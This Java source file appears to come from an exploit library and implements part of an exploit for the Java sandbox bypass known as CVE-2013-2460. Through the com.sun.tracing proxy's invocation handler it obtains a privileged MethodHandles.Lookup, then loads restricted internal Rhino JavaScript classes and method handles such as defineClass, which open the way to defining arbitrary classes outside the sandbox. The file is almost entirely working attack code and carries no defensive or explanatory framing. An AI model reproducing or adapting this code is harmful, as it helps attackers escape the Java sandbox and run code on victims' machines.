/**
* Copyright (c) 2013-2014
*
* All rights reserved.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* The Java-Exploit-Library is licensed under the Creative Commons
* Attribution-ShareAlike 4.0 International License.
*
* Please see the provided LICENSE.txt for a full copy of the agreement.
*/
package cve20132460;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import com.sun.tracing.Provider;
import com.sun.tracing.ProviderFactory;
public class RequiredItemGrabber {
public static InvocationHandler invocationHandler;
public static MethodHandles.Lookup methodHandlesLookup;
static {
initializeInvocationHandler();
}
private static void initializeInvocationHandler() {
try {
ProviderFactory pf = ProviderFactory.getDefaultFactory();
Provider p = pf.createProvider((Class) FakeInterface.class);
invocationHandler = Proxy.getInvocationHandler(p);
Class c = java.lang.invoke.MethodHandles.class;
Method m = c.getMethod("lookup", new Class[0]);
methodHandlesLookup = (MethodHandles.Lookup) m.invoke(null, new Class[0]);
methodHandlesLookup = (MethodHandles.Lookup) invocationHandler.invoke(null, m, new Object[0]);
} catch (Throwable e) {
e.printStackTrace();
}
}
public static RequiredClasses getRequiredClasses() {
RequiredClasses result = new RequiredClasses();
try {
result.javascriptContextClass = loadClass("sun.org.mozilla.javascript.internal.Context");
result.javascriptDefiningClassLoaderClass = loadClass("sun.org.mozilla.javascript.internal.DefiningClassLoader");
result.javascriptGeneratedClassLoaderClass = loadClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
} catch (Throwable e) {
e.printStackTrace();
}
return result;
}
public static RequiredMethods getRequiredMethods(RequiredClasses cls) {
RequiredMethods result = new RequiredMethods();
try {
result.contextEnterHandle = loadMethodHandle(cls.javascriptContextClass, "enter", cls.javascriptContextClass, new Class[0], true);
Class param[] = new Class[] { java.lang.ClassLoader.class };
result.contextCreateClassLoaderHandle = loadMethodHandle(cls.javascriptContextClass, "createClassLoader", cls.javascriptGeneratedClassLoaderClass,
param, false);
param = new Class[] { Class.forName("java.lang.String"), (new byte[0]).getClass() };
result.definingClassLoaderDefineClassHandle = loadMethodHandle(cls.javascriptDefiningClassLoaderClass, "defineClass", java.lang.Class.class, param,
false);
} catch (Throwable e) {
e.printStackTrace();
}
return result;
}
private static Class loadClass(String name) {
Class result = null;
try {
Class c = java.lang.Class.class;
Method m = c.getMethod("forName", new Class[] { java.lang.String.class });
result = (Class) m.invoke(null, new Object[] { name });
if (result == null) {
result = (Class) invocationHandler.invoke(null, m, new Object[] { name });
}
} catch (Throwable e) {
e.printStackTrace();
}
return result;
}
private static MethodHandle loadMethodHandle(Class c, String name, Class returnType, Class params[], boolean isStatic) {
MethodHandle res = null;
try {
MethodType desc = MethodType.methodType(returnType, params);
if (isStatic)
res = methodHandlesLookup.findStatic(c, name, desc);
else
res = methodHandlesLookup.findVirtual(c, name, desc);
} catch (Throwable e) {
e.printStackTrace();
}
return res;
}
}